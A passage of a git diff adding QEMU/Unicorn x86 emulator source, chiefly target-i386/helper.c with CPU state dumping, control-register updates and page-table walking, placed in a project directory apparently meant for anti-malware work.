+ || (env->hflags & HF_CPL_MASK) + || !(env->hflags & HF_LMA_MASK)) { + for (i = 0; i < nb_xmm_regs; i++) { + env->xmm_regs[i].XMM_Q(0) = cpu_ldq_data(env, addr); + env->xmm_regs[i].XMM_Q(1) = cpu_ldq_data(env, addr + 8); + addr += 16; + } + } + } +} + +void cpu_get_fp80(uint64_t *pmant, uint16_t *pexp, floatx80 f) +{ + CPU_LDoubleU temp; + + temp.d = f; + *pmant = temp.l.lower; + *pexp = temp.l.upper; +} + +floatx80 cpu_set_fp80(uint64_t mant, uint16_t upper) +{ + CPU_LDoubleU temp; + + temp.l.upper = upper; + temp.l.lower = mant; + return temp.d; +} + +/* MMX/SSE */ +/* XXX: optimize by storing fptt and fptags in the static cpu state */ + +#define SSE_DAZ 0x0040 +#define SSE_RC_MASK 0x6000 +#define SSE_RC_NEAR 0x0000 +#define SSE_RC_DOWN 0x2000 +#define SSE_RC_UP 0x4000 +#define SSE_RC_CHOP 0x6000 +#define SSE_FZ 0x8000 + +void cpu_set_mxcsr(CPUX86State *env, uint32_t mxcsr) +{ + int rnd_type; + + env->mxcsr = mxcsr; + + /* set rounding mode */ + switch (mxcsr & SSE_RC_MASK) { + default: + case SSE_RC_NEAR: + rnd_type = float_round_nearest_even; + break; + case SSE_RC_DOWN: + rnd_type = float_round_down; + break; + case SSE_RC_UP: + rnd_type = float_round_up; + break; + case SSE_RC_CHOP: + rnd_type = float_round_to_zero; + break; + } + set_float_rounding_mode(rnd_type, &env->sse_status); + + /* set denormals are zero */ + set_flush_inputs_to_zero((mxcsr & SSE_DAZ) ? 1 : 0, &env->sse_status); + + /* set flush to zero */ + set_flush_to_zero((mxcsr & SSE_FZ) ? 1 : 0, &env->fp_status); +} + +void cpu_set_fpuc(CPUX86State *env, uint16_t val) +{ + env->fpuc = val; + update_fp_status(env); +} + +void helper_ldmxcsr(CPUX86State *env, uint32_t val) +{ + cpu_set_mxcsr(env, val); +} + +void helper_enter_mmx(CPUX86State *env) +{ + env->fpstt = 0; + *(uint32_t *)(env->fptags) = 0; + *(uint32_t *)(env->fptags + 4) = 0; +} + +void helper_emms(CPUX86State *env) +{ + /* set to empty state */ + *(uint32_t *)(env->fptags) = 0x01010101; + *(uint32_t *)(env->fptags + 4) = 0x01010101; +} + +/* XXX: suppress */ +void helper_movq(CPUX86State *env, void *d, void *s) +{ + *(uint64_t *)d = *(uint64_t *)s; +} + +#define SHIFT 0 +#include "ops_sse.h" + +#define SHIFT 1 +#include "ops_sse.h" diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/helper.c new file mode 100644 index 0000000..c2fba8e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/helper.c @@ -0,0 +1,1152 @@ +/* + * i386 helpers (without register variable usage) + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#ifndef CONFIG_USER_ONLY +#include "sysemu/sysemu.h" +#endif + +//#define DEBUG_MMU + +static void cpu_x86_version(CPUX86State *env, int *family, int *model) +{ + int cpuver = env->cpuid_version; + + if (family == NULL || model == NULL) { + return; + } + + *family = (cpuver >> 8) & 0x0f; + *model = ((cpuver >> 12) & 0xf0) + ((cpuver >> 4) & 0x0f); +} + +/* Broadcast MCA signal for processor version 06H_EH and above */ +int cpu_x86_support_mca_broadcast(CPUX86State *env) +{ + int family = 0; + int model = 0; + + cpu_x86_version(env, &family, &model); + if ((family == 6 && model >= 14) || family > 6) { + return 1; + } + + return 0; +} + +/***********************************************************/ +/* x86 debug */ + +static const char *cc_op_str[CC_OP_NB] = { + "DYNAMIC", + "EFLAGS", + + "MULB", + "MULW", + "MULL", + "MULQ", + + "ADDB", + "ADDW", + "ADDL", + "ADDQ", + + "ADCB", + "ADCW", + "ADCL", + "ADCQ", + + "SUBB", + "SUBW", + "SUBL", + "SUBQ", + + "SBBB", + "SBBW", + "SBBL", + "SBBQ", + + "LOGICB", + "LOGICW", + "LOGICL", + "LOGICQ", + + "INCB", + "INCW", + "INCL", + "INCQ", + + "DECB", + "DECW", + "DECL", + "DECQ", + + "SHLB", + "SHLW", + "SHLL", + "SHLQ", + + "SARB", + "SARW", + "SARL", + "SARQ", + + "BMILGB", + "BMILGW", + "BMILGL", + "BMILGQ", + + "ADCX", + "ADOX", + "ADCOX", + + "CLR", +}; + +static void +cpu_x86_dump_seg_cache(CPUX86State *env, FILE *f, fprintf_function cpu_fprintf, + const char *name, struct SegmentCache *sc) +{ +#ifdef TARGET_X86_64 + if (env->hflags & HF_CS64_MASK) { + cpu_fprintf(f, "%-3s=%04x %016" PRIx64 " %08x %08x", name, + sc->selector, sc->base, sc->limit, sc->flags & 0x00ffff00); + } else +#endif + { + cpu_fprintf(f, "%-3s=%04x %08x %08x %08x", name, sc->selector, + (uint32_t)sc->base, sc->limit, sc->flags & 0x00ffff00); + } + + if (!(env->hflags & HF_PE_MASK) || !(sc->flags & DESC_P_MASK)) + goto done; + + cpu_fprintf(f, " DPL=%d ", (sc->flags & DESC_DPL_MASK) >> DESC_DPL_SHIFT); + if (sc->flags & DESC_S_MASK) { + if (sc->flags & DESC_CS_MASK) { + cpu_fprintf(f, (sc->flags & DESC_L_MASK) ? "CS64" : + ((sc->flags & DESC_B_MASK) ? "CS32" : "CS16")); + cpu_fprintf(f, " [%c%c", (sc->flags & DESC_C_MASK) ? 'C' : '-', + (sc->flags & DESC_R_MASK) ? 'R' : '-'); + } else { + cpu_fprintf(f, + (sc->flags & DESC_B_MASK || env->hflags & HF_LMA_MASK) + ? "DS " : "DS16"); + cpu_fprintf(f, " [%c%c", (sc->flags & DESC_E_MASK) ? 'E' : '-', + (sc->flags & DESC_W_MASK) ? 'W' : '-'); + } + cpu_fprintf(f, "%c]", (sc->flags & DESC_A_MASK) ? 'A' : '-'); + } else { + static const char *sys_type_name[2][16] = { + { /* 32 bit mode */ + "Reserved", "TSS16-avl", "LDT", "TSS16-busy", + "CallGate16", "TaskGate", "IntGate16", "TrapGate16", + "Reserved", "TSS32-avl", "Reserved", "TSS32-busy", + "CallGate32", "Reserved", "IntGate32", "TrapGate32" + }, + { /* 64 bit mode */ + "", "Reserved", "LDT", "Reserved", "Reserved", + "Reserved", "Reserved", "Reserved", "Reserved", + "TSS64-avl", "Reserved", "TSS64-busy", "CallGate64", + "Reserved", "IntGate64", "TrapGate64" + } + }; + cpu_fprintf(f, "%s", + sys_type_name[(env->hflags & HF_LMA_MASK) ? 1 : 0] + [(sc->flags & DESC_TYPE_MASK) + >> DESC_TYPE_SHIFT]); + } +done: + cpu_fprintf(f, "\n"); +} + +#define DUMP_CODE_BYTES_TOTAL 50 +#define DUMP_CODE_BYTES_BACKWARD 20 + +void x86_cpu_dump_state(CPUState *cs, FILE *f, fprintf_function cpu_fprintf, + int flags) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + int eflags, i, nb; + char cc_op_name[32]; + static const char *seg_name[6] = { "ES", "CS", "SS", "DS", "FS", "GS" }; + + eflags = cpu_compute_eflags(env); +#ifdef TARGET_X86_64 + if (env->hflags & HF_CS64_MASK) { + cpu_fprintf(f, + "RAX=%016" PRIx64 " RBX=%016" PRIx64 " RCX=%016" PRIx64 " RDX=%016" PRIx64 "\n" + "RSI=%016" PRIx64 " RDI=%016" PRIx64 " RBP=%016" PRIx64 " RSP=%016" PRIx64 "\n" + "R8 =%016" PRIx64 " R9 =%016" PRIx64 " R10=%016" PRIx64 " R11=%016" PRIx64 "\n" + "R12=%016" PRIx64 " R13=%016" PRIx64 " R14=%016" PRIx64 " R15=%016" PRIx64 "\n" + "RIP=%016" PRIx64 " RFL=%08x [%c%c%c%c%c%c%c] CPL=%d II=%d A20=%d SMM=%d HLT=%d\n", + env->regs[R_EAX], + env->regs[R_EBX], + env->regs[R_ECX], + env->regs[R_EDX], + env->regs[R_ESI], + env->regs[R_EDI], + env->regs[R_EBP], + env->regs[R_ESP], + env->regs[8], + env->regs[9], + env->regs[10], + env->regs[11], + env->regs[12], + env->regs[13], + env->regs[14], + env->regs[15], + env->eip, eflags, + eflags & DF_MASK ? 'D' : '-', + eflags & CC_O ? 'O' : '-', + eflags & CC_S ? 'S' : '-', + eflags & CC_Z ? 'Z' : '-', + eflags & CC_A ? 'A' : '-', + eflags & CC_P ? 'P' : '-', + eflags & CC_C ? 'C' : '-', + env->hflags & HF_CPL_MASK, + (env->hflags >> HF_INHIBIT_IRQ_SHIFT) & 1, + (env->a20_mask >> 20) & 1, + (env->hflags >> HF_SMM_SHIFT) & 1, + cs->halted); + } else +#endif + { + cpu_fprintf(f, "EAX=%08x EBX=%08x ECX=%08x EDX=%08x\n" + "ESI=%08x EDI=%08x EBP=%08x ESP=%08x\n" + "EIP=%08x EFL=%08x [%c%c%c%c%c%c%c] CPL=%d II=%d A20=%d SMM=%d HLT=%d\n", + (uint32_t)env->regs[R_EAX], + (uint32_t)env->regs[R_EBX], + (uint32_t)env->regs[R_ECX], + (uint32_t)env->regs[R_EDX], + (uint32_t)env->regs[R_ESI], + (uint32_t)env->regs[R_EDI], + (uint32_t)env->regs[R_EBP], + (uint32_t)env->regs[R_ESP], + (uint32_t)env->eip, eflags, + eflags & DF_MASK ? 'D' : '-', + eflags & CC_O ? 'O' : '-', + eflags & CC_S ? 'S' : '-', + eflags & CC_Z ? 'Z' : '-', + eflags & CC_A ? 'A' : '-', + eflags & CC_P ? 'P' : '-', + eflags & CC_C ? 'C' : '-', + env->hflags & HF_CPL_MASK, + (env->hflags >> HF_INHIBIT_IRQ_SHIFT) & 1, + (env->a20_mask >> 20) & 1, + (env->hflags >> HF_SMM_SHIFT) & 1, + cs->halted); + } + + for(i = 0; i < 6; i++) { + cpu_x86_dump_seg_cache(env, f, cpu_fprintf, seg_name[i], + &env->segs[i]); + } + cpu_x86_dump_seg_cache(env, f, cpu_fprintf, "LDT", &env->ldt); + cpu_x86_dump_seg_cache(env, f, cpu_fprintf, "TR", &env->tr); + +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + cpu_fprintf(f, "GDT= %016" PRIx64 " %08x\n", + env->gdt.base, env->gdt.limit); + cpu_fprintf(f, "IDT= %016" PRIx64 " %08x\n", + env->idt.base, env->idt.limit); + cpu_fprintf(f, "CR0=%08x CR2=%016" PRIx64 " CR3=%016" PRIx64 " CR4=%08x\n", + (uint32_t)env->cr[0], + env->cr[2], + env->cr[3], + (uint32_t)env->cr[4]); + for(i = 0; i < 4; i++) + cpu_fprintf(f, "DR%d=%016" PRIx64 " ", i, env->dr[i]); + cpu_fprintf(f, "\nDR6=%016" PRIx64 " DR7=%016" PRIx64 "\n", + env->dr[6], env->dr[7]); + } else +#endif + { + cpu_fprintf(f, "GDT= %08x %08x\n", + (uint32_t)env->gdt.base, env->gdt.limit); + cpu_fprintf(f, "IDT= %08x %08x\n", + (uint32_t)env->idt.base, env->idt.limit); + cpu_fprintf(f, "CR0=%08x CR2=%08x CR3=%08x CR4=%08x\n", + (uint32_t)env->cr[0], + (uint32_t)env->cr[2], + (uint32_t)env->cr[3], + (uint32_t)env->cr[4]); + for(i = 0; i < 4; i++) { + cpu_fprintf(f, "DR%d=" TARGET_FMT_lx " ", i, env->dr[i]); + } + cpu_fprintf(f, "\nDR6=" TARGET_FMT_lx " DR7=" TARGET_FMT_lx "\n", + env->dr[6], env->dr[7]); + } + if (flags & CPU_DUMP_CCOP) { + if ((unsigned)env->cc_op < CC_OP_NB) + snprintf(cc_op_name, sizeof(cc_op_name), "%s", cc_op_str[env->cc_op]); + else + snprintf(cc_op_name, sizeof(cc_op_name), "[%d]", env->cc_op); +#ifdef TARGET_X86_64 + if (env->hflags & HF_CS64_MASK) { + cpu_fprintf(f, "CCS=%016" PRIx64 " CCD=%016" PRIx64 " CCO=%-8s\n", + env->cc_src, env->cc_dst, + cc_op_name); + } else +#endif + { + cpu_fprintf(f, "CCS=%08x CCD=%08x CCO=%-8s\n", + (uint32_t)env->cc_src, (uint32_t)env->cc_dst, + cc_op_name); + } + } + cpu_fprintf(f, "EFER=%016" PRIx64 "\n", env->efer); + if (flags & CPU_DUMP_FPU) { + int fptag; + fptag = 0; + for(i = 0; i < 8; i++) { + fptag |= ((!env->fptags[i]) << i); + } + cpu_fprintf(f, "FCW=%04x FSW=%04x [ST=%d] FTW=%02x MXCSR=%08x\n", + env->fpuc, + (env->fpus & ~0x3800) | (env->fpstt & 0x7) << 11, + env->fpstt, + fptag, + env->mxcsr); + for(i=0;i<8;i++) { + CPU_LDoubleU u; + u.d = env->fpregs[i].d; + cpu_fprintf(f, "FPR%d=%016" PRIx64 " %04x", + i, u.l.lower, u.l.upper); + if ((i & 1) == 1) + cpu_fprintf(f, "\n"); + else + cpu_fprintf(f, " "); + } + if (env->hflags & HF_CS64_MASK) + nb = 16; + else + nb = 8; + for(i=0;ixmm_regs[i].XMM_L(3), + env->xmm_regs[i].XMM_L(2), + env->xmm_regs[i].XMM_L(1), + env->xmm_regs[i].XMM_L(0)); + if ((i & 1) == 1) + cpu_fprintf(f, "\n"); + else + cpu_fprintf(f, " "); + } + } + if (flags & CPU_DUMP_CODE) { + target_ulong base = env->segs[R_CS].base + env->eip; + target_ulong offs = MIN(env->eip, DUMP_CODE_BYTES_BACKWARD); + uint8_t code; + char codestr[3]; + + cpu_fprintf(f, "Code="); + for (i = 0; i < DUMP_CODE_BYTES_TOTAL; i++) { + if (cpu_memory_rw_debug(cs, base - offs + i, &code, 1, 0) == 0) { + snprintf(codestr, sizeof(codestr), "%02x", code); + } else { + snprintf(codestr, sizeof(codestr), "??"); + } + cpu_fprintf(f, "%s%s%s%s", i > 0 ? " " : "", + i == offs ? "<" : "", codestr, i == offs ? ">" : ""); + } + cpu_fprintf(f, "\n"); + } +} + +/***********************************************************/ +/* x86 mmu */ +/* XXX: add PGE support */ + +void x86_cpu_set_a20(X86CPU *cpu, int a20_state) +{ + CPUX86State *env = &cpu->env; + + a20_state = (a20_state != 0); + if (a20_state != ((env->a20_mask >> 20) & 1)) { + CPUState *cs = CPU(cpu); + +#if defined(DEBUG_MMU) + printf("A20 update: a20=%d\n", a20_state); +#endif + /* if the cpu is currently executing code, we must unlink it and + all the potentially executing TB */ + cpu_interrupt(cs, CPU_INTERRUPT_EXITTB); + + /* when a20 is changed, all the MMU mappings are invalid, so + we must flush everything */ + tlb_flush(cs, 1); + env->a20_mask = ~(1 << 20) | (a20_state << 20); + } +} + +void cpu_x86_update_cr0(CPUX86State *env, uint32_t new_cr0) +{ + X86CPU *cpu = x86_env_get_cpu(env); + int pe_state; + +#if defined(DEBUG_MMU) + printf("CR0 update: CR0=0x%08x\n", new_cr0); +#endif + if ((new_cr0 & (CR0_PG_MASK | CR0_WP_MASK | CR0_PE_MASK)) != + (env->cr[0] & (CR0_PG_MASK | CR0_WP_MASK | CR0_PE_MASK))) { + tlb_flush(CPU(cpu), 1); + } + +#ifdef TARGET_X86_64 + if (!(env->cr[0] & CR0_PG_MASK) && (new_cr0 & CR0_PG_MASK) && + (env->efer & MSR_EFER_LME)) { + /* enter in long mode */ + /* XXX: generate an exception */ + if (!(env->cr[4] & CR4_PAE_MASK)) + return; + env->efer |= MSR_EFER_LMA; + env->hflags |= HF_LMA_MASK; + } else if ((env->cr[0] & CR0_PG_MASK) && !(new_cr0 & CR0_PG_MASK) && + (env->efer & MSR_EFER_LMA)) { + /* exit long mode */ + env->efer &= ~MSR_EFER_LMA; + env->hflags &= ~(HF_LMA_MASK | HF_CS64_MASK); + env->eip &= 0xffffffff; + } +#endif + env->cr[0] = new_cr0 | CR0_ET_MASK; + + /* update PE flag in hidden flags */ + pe_state = (env->cr[0] & CR0_PE_MASK); + env->hflags = (env->hflags & ~HF_PE_MASK) | (pe_state << HF_PE_SHIFT); + /* ensure that ADDSEG is always set in real mode */ + env->hflags |= ((pe_state ^ 1) << HF_ADDSEG_SHIFT); + /* update FPU flags */ + env->hflags = (env->hflags & ~(HF_MP_MASK | HF_EM_MASK | HF_TS_MASK)) | + ((new_cr0 << (HF_MP_SHIFT - 1)) & (HF_MP_MASK | HF_EM_MASK | HF_TS_MASK)); +} + +/* XXX: in legacy PAE mode, generate a GPF if reserved bits are set in + the PDPT */ +void cpu_x86_update_cr3(CPUX86State *env, target_ulong new_cr3) +{ + X86CPU *cpu = x86_env_get_cpu(env); + + env->cr[3] = new_cr3; + if (env->cr[0] & CR0_PG_MASK) { +#if defined(DEBUG_MMU) + printf("CR3 update: CR3=" TARGET_FMT_lx "\n", new_cr3); +#endif + tlb_flush(CPU(cpu), 0); + } +} + +void cpu_x86_update_cr4(CPUX86State *env, uint32_t new_cr4) +{ + X86CPU *cpu = x86_env_get_cpu(env); + +#if defined(DEBUG_MMU) + printf("CR4 update: CR4=%08x\n", (uint32_t)env->cr[4]); +#endif + if ((new_cr4 ^ env->cr[4]) & + (CR4_PGE_MASK | CR4_PAE_MASK | CR4_PSE_MASK | + CR4_SMEP_MASK | CR4_SMAP_MASK)) { + tlb_flush(CPU(cpu), 1); + } + /* SSE handling */ + if (!(env->features[FEAT_1_EDX] & CPUID_SSE)) { + new_cr4 &= ~CR4_OSFXSR_MASK; + } + env->hflags &= ~HF_OSFXSR_MASK; + if (new_cr4 & CR4_OSFXSR_MASK) { + env->hflags |= HF_OSFXSR_MASK; + } + + if (!(env->features[FEAT_7_0_EBX] & CPUID_7_0_EBX_SMAP)) { + new_cr4 &= ~CR4_SMAP_MASK; + } + env->hflags &= ~HF_SMAP_MASK; + if (new_cr4 & CR4_SMAP_MASK) { + env->hflags |= HF_SMAP_MASK; + } + + env->cr[4] = new_cr4; +} + +#if defined(CONFIG_USER_ONLY) + +int x86_cpu_handle_mmu_fault(CPUState *cs, vaddr addr, + int is_write, int mmu_idx) +{ + X86CPU *cpu = X86_CPU(cs); + CPUX86State *env = &cpu->env; + + /* user mode only emulation */ + is_write &= 1; + env->cr[2] = addr; + env->error_code = (is_write << PG_ERROR_W_BIT); + env->error_code |= PG_ERROR_U_MASK; + cs->exception_index = EXCP0E_PAGE; + return 1; +} + +#else + +/* return value: + * -1 = cannot handle fault + * 0 = nothing more to do + * 1 = generate PF fault + */ +int x86_cpu_handle_mmu_fault(CPUState *cs, vaddr addr, + int is_write1, int mmu_idx) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + uint64_t ptep, pte; + target_ulong pde_addr, pte_addr; + int error_code = 0; + int is_dirty, prot, page_size, is_write, is_user; + hwaddr paddr; + uint64_t rsvd_mask = PG_HI_RSVD_MASK; + //uint32_t page_offset; + target_ulong vaddr; + + is_user = mmu_idx == MMU_USER_IDX; +#if defined(DEBUG_MMU) + printf("MMU fault: addr=%" VADDR_PRIx " w=%d u=%d eip=" TARGET_FMT_lx "\n", + addr, is_write1, is_user, env->eip); +#endif + is_write = is_write1 & 1; + + if (!(env->cr[0] & CR0_PG_MASK)) { + pte = addr; +#ifdef TARGET_X86_64 + if (!(env->hflags & HF_LMA_MASK)) { + /* Without long mode we can only address 32bits in real mode */ + pte = (uint32_t)pte; + } +#endif + prot = PAGE_READ | PAGE_WRITE | PAGE_EXEC; + page_size = 4096; + goto do_mapping; + } + + if (!(env->efer & MSR_EFER_NXE)) { + rsvd_mask |= PG_NX_MASK; + } + + if (env->cr[4] & CR4_PAE_MASK) { + uint64_t pde, pdpe; + target_ulong pdpe_addr; + +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + uint64_t pml4e_addr, pml4e; + int32_t sext; + + /* test virtual address sign extension */ + sext = (int64_t)addr >> 47; + if (sext != 0 && sext != -1) { + env->error_code = 0; + cs->exception_index = EXCP0D_GPF; + return 1; + } + + pml4e_addr = ((env->cr[3] & ~0xfff) + (((addr >> 39) & 0x1ff) << 3)) & + env->a20_mask; + pml4e = ldq_phys(cs->as, pml4e_addr); + if (!(pml4e & PG_PRESENT_MASK)) { + goto do_fault; + } + if (pml4e & (rsvd_mask | PG_PSE_MASK)) { + goto do_fault_rsvd; + } + if (!(pml4e & PG_ACCESSED_MASK)) { + pml4e |= PG_ACCESSED_MASK; + stl_phys_notdirty(cs->as, pml4e_addr, pml4e); + } + ptep = pml4e ^ PG_NX_MASK; + pdpe_addr = ((pml4e & PG_ADDRESS_MASK) + (((addr >> 30) & 0x1ff) << 3)) & + env->a20_mask; + pdpe = ldq_phys(cs->as, pdpe_addr); + if (!(pdpe & PG_PRESENT_MASK)) { + goto do_fault; + } + if (pdpe & rsvd_mask) { + goto do_fault_rsvd; + } + ptep &= pdpe ^ PG_NX_MASK; + if (!(pdpe & PG_ACCESSED_MASK)) { + pdpe |= PG_ACCESSED_MASK; + stl_phys_notdirty(cs->as, pdpe_addr, pdpe); + } + if (pdpe & PG_PSE_MASK) { + /* 1 GB page */ + page_size = 1024 * 1024 * 1024; + pte_addr = pdpe_addr; + pte = pdpe; + goto do_check_protect; + } + } else +#endif + { + /* XXX: load them when cr3 is loaded ? */ + pdpe_addr = ((env->cr[3] & ~0x1f) + ((addr >> 27) & 0x18)) & + env->a20_mask; + pdpe = ldq_phys(cs->as, pdpe_addr); + if (!(pdpe & PG_PRESENT_MASK)) { + goto do_fault; + } + rsvd_mask |= PG_HI_USER_MASK; + if (pdpe & (rsvd_mask | PG_NX_MASK)) { + goto do_fault_rsvd; + } + ptep = PG_NX_MASK | PG_USER_MASK | PG_RW_MASK; + } + + pde_addr = ((pdpe & PG_ADDRESS_MASK) + (((addr >> 21) & 0x1ff) << 3)) & + env->a20_mask; + pde = ldq_phys(cs->as, pde_addr); + if (!(pde & PG_PRESENT_MASK)) { + goto do_fault; + } + if (pde & rsvd_mask) { + goto do_fault_rsvd; + } + ptep &= pde ^ PG_NX_MASK; + if (pde & PG_PSE_MASK) { + /* 2 MB page */ + page_size = 2048 * 1024; + pte_addr = pde_addr; + pte = pde; + goto do_check_protect; + } + /* 4 KB page */ + if (!(pde & PG_ACCESSED_MASK)) { + pde |= PG_ACCESSED_MASK; + stl_phys_notdirty(cs->as, pde_addr, pde); + } + pte_addr = ((pde & PG_ADDRESS_MASK) + (((addr >> 12) & 0x1ff) << 3)) & + env->a20_mask; + pte = ldq_phys(cs->as, pte_addr); + if (!(pte & PG_PRESENT_MASK)) { + goto do_fault; + } + if (pte & rsvd_mask) { + goto do_fault_rsvd; + } + /* combine pde and pte nx, user and rw protections */ + ptep &= pte ^ PG_NX_MASK; + page_size = 4096; + } else { + uint32_t pde; + + /* page directory entry */ + pde_addr = ((env->cr[3] & ~0xfff) + ((addr >> 20) & 0xffc)) & + env->a20_mask; + pde = ldl_phys(cs->as, pde_addr); + if (!(pde & PG_PRESENT_MASK)) { + goto do_fault; + } + ptep = pde | PG_NX_MASK; + + /* if PSE bit is set, then we use a 4MB page */ + if ((pde & PG_PSE_MASK) && (env->cr[4] & CR4_PSE_MASK)) { + page_size = 4096 * 1024; + pte_addr = pde_addr; + + /* Bits 20-13 provide bits 39-32 of the address, bit 21 is reserved. + * Leave bits 20-13 in place for setting accessed/dirty bits below. + */ + pte = pde | ((pde & 0x1fe000) << (32 - 13)); + rsvd_mask = 0x200000; + goto do_check_protect_pse36; + } + + if (!(pde & PG_ACCESSED_MASK)) { + pde |= PG_ACCESSED_MASK; + stl_phys_notdirty(cs->as, pde_addr, pde); + } + + /* page directory entry */ + pte_addr = ((pde & ~0xfff) + ((addr >> 10) & 0xffc)) & + env->a20_mask; + pte = ldl_phys(cs->as, pte_addr); + if (!(pte & PG_PRESENT_MASK)) { + goto do_fault; + } + /* combine pde and pte user and rw protections */ + ptep &= pte | PG_NX_MASK; + page_size = 4096; + rsvd_mask = 0; + } + +do_check_protect: + rsvd_mask |= (page_size - 1) & PG_ADDRESS_MASK & ~PG_PSE_PAT_MASK; +do_check_protect_pse36: + if (pte & rsvd_mask) { + goto do_fault_rsvd; + } + ptep ^= PG_NX_MASK; + if ((ptep & PG_NX_MASK) && is_write1 == 2) { + goto do_fault_protect; + } + switch (mmu_idx) { + case MMU_USER_IDX: + if (!(ptep & PG_USER_MASK)) { + goto do_fault_protect; + } + if (is_write && !(ptep & PG_RW_MASK)) { + goto do_fault_protect; + } + break; + + case MMU_KSMAP_IDX: + if (is_write1 != 2 && (ptep & PG_USER_MASK)) { + goto do_fault_protect; + } + /* fall through */ + case MMU_KNOSMAP_IDX: + if (is_write1 == 2 && (env->cr[4] & CR4_SMEP_MASK) && + (ptep & PG_USER_MASK)) { + goto do_fault_protect; + } + if ((env->cr[0] & CR0_WP_MASK) && + is_write && !(ptep & PG_RW_MASK)) { + goto do_fault_protect; + } + break; + + default: /* cannot happen */ + break; + } + is_dirty = is_write && !(pte & PG_DIRTY_MASK); + if (!(pte & PG_ACCESSED_MASK) || is_dirty) { + pte |= PG_ACCESSED_MASK; + if (is_dirty) { + pte |= PG_DIRTY_MASK; + } + stl_phys_notdirty(cs->as, pte_addr, pte); + } + + /* the page can be put in the TLB */ + prot = PAGE_READ; + if (!(ptep & PG_NX_MASK) && + (mmu_idx == MMU_USER_IDX || + !((env->cr[4] & CR4_SMEP_MASK) && (ptep & PG_USER_MASK)))) { + prot |= PAGE_EXEC; + } + if (pte & PG_DIRTY_MASK) { + /* only set write access if already dirty... otherwise wait + for dirty access */ + if (is_user) { + if (ptep & PG_RW_MASK) + prot |= PAGE_WRITE; + } else { + if (!(env->cr[0] & CR0_WP_MASK) || + (ptep & PG_RW_MASK)) + prot |= PAGE_WRITE; + } + } + do_mapping: + +#if 0 + pte = pte & env->a20_mask; + + /* align to page_size */ + pte &= PG_ADDRESS_MASK & ~(page_size - 1); + + /* Even if 4MB pages, we map only one 4KB page in the cache to + avoid filling it too fast */ + vaddr = addr & TARGET_PAGE_MASK; + page_offset = vaddr & (page_size - 1); + paddr = pte + page_offset; +#endif + + // Unicorn: indentity map guest virtual address to host virtual address + vaddr = addr & TARGET_PAGE_MASK; + paddr = vaddr; + //printf(">>> map address %"PRIx64" to %"PRIx64"\n", vaddr, paddr); + + tlb_set_page(cs, vaddr, paddr, prot, mmu_idx, page_size); + return 0; + do_fault_rsvd: + error_code |= PG_ERROR_RSVD_MASK; + do_fault_protect: + error_code |= PG_ERROR_P_MASK; + do_fault: + error_code |= (is_write << PG_ERROR_W_BIT); + if (is_user) + error_code |= PG_ERROR_U_MASK; + if (is_write1 == 2 && + (((env->efer & MSR_EFER_NXE) && + (env->cr[4] & CR4_PAE_MASK)) || + (env->cr[4] & CR4_SMEP_MASK))) + error_code |= PG_ERROR_I_D_MASK; + if (env->intercept_exceptions & (1 << EXCP0E_PAGE)) { + /* cr2 is not modified in case of exceptions */ + stq_phys(cs->as, + env->vm_vmcb + offsetof(struct vmcb, control.exit_info_2), + addr); + } else { + env->cr[2] = addr; + } + env->error_code = error_code; + cs->exception_index = EXCP0E_PAGE; + return 1; +} + +hwaddr x86_cpu_get_phys_page_debug(CPUState *cs, vaddr addr) +{ + X86CPU *cpu = X86_CPU(cs->uc, cs); + CPUX86State *env = &cpu->env; + target_ulong pde_addr, pte_addr; + uint64_t pte; + uint32_t page_offset; + int page_size; + + if (!(env->cr[0] & CR0_PG_MASK)) { + pte = addr & env->a20_mask; + page_size = 4096; + } else if (env->cr[4] & CR4_PAE_MASK) { + target_ulong pdpe_addr; + uint64_t pde, pdpe; + +#ifdef TARGET_X86_64 + if (env->hflags & HF_LMA_MASK) { + uint64_t pml4e_addr, pml4e; + int32_t sext; + + /* test virtual address sign extension */ + sext = (int64_t)addr >> 47; + if (sext != 0 && sext != -1) { + return -1; + } + pml4e_addr = ((env->cr[3] & ~0xfff) + (((addr >> 39) & 0x1ff) << 3)) & + env->a20_mask; + pml4e = ldq_phys(cs->as, pml4e_addr); + if (!(pml4e & PG_PRESENT_MASK)) { + return -1; + } + pdpe_addr = ((pml4e & PG_ADDRESS_MASK) + + (((addr >> 30) & 0x1ff) << 3)) & env->a20_mask; + pdpe = ldq_phys(cs->as, pdpe_addr); + if (!(pdpe & PG_PRESENT_MASK)) { + return -1; + } + if (pdpe & PG_PSE_MASK) { + page_size = 1024 * 1024 * 1024; + pte = pdpe; + goto out; + } + + } else +#endif + { + pdpe_addr = ((env->cr[3] & ~0x1f) + ((addr >> 27) & 0x18)) & + env->a20_mask; + pdpe = ldq_phys(cs->as, pdpe_addr); + if (!(pdpe & PG_PRESENT_MASK)) + return -1; + } + + pde_addr = ((pdpe & PG_ADDRESS_MASK) + + (((addr >> 21) & 0x1ff) << 3)) & env->a20_mask; + pde = ldq_phys(cs->as, pde_addr); + if (!(pde & PG_PRESENT_MASK)) { + return -1; + } + if (pde & PG_PSE_MASK) { + /* 2 MB page */ + page_size = 2048 * 1024; + pte = pde; + } else { + /* 4 KB page */ + pte_addr = ((pde & PG_ADDRESS_MASK) + + (((addr >> 12) & 0x1ff) << 3)) & env->a20_mask; + page_size = 4096; + pte = ldq_phys(cs->as, pte_addr); + } + if (!(pte & PG_PRESENT_MASK)) { + return -1; + } + } else { + uint32_t pde; + + /* page directory entry */ + pde_addr = ((env->cr[3] & ~0xfff) + ((addr >> 20) & 0xffc)) & env->a20_mask; + pde = ldl_phys(cs->as, pde_addr); + if (!(pde & PG_PRESENT_MASK)) + return -1; + if ((pde & PG_PSE_MASK) && (env->cr[4] & 